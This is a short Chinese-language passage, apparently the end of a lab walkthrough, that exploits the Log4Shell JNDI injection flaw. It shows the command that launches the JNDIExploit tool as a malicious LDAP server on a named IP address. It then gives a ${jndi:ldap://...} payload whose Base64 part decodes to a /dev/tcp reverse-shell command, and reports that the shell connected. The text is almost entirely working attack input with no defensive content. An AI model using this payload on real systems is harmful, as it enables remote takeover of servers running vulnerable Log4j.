另一个终端进入JNDIExploit-1.2-SNAPSHOT.jar所在的目录jndiexploit执行下面命令

cpp 复制代码

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 116.62.152.84

生成payload

构造payload

cpp 复制代码

${jndi:ldap://116.62.152.84:1389/Basic/Command/Base64/c2ggLWkgPiYgL2Rldi90Y3AvMTE2LjYyLjE1Mi44NC81MDAxNyAwPiYx}

输入进去之后看结果

反弹shell成功

结束

cpp 复制代码
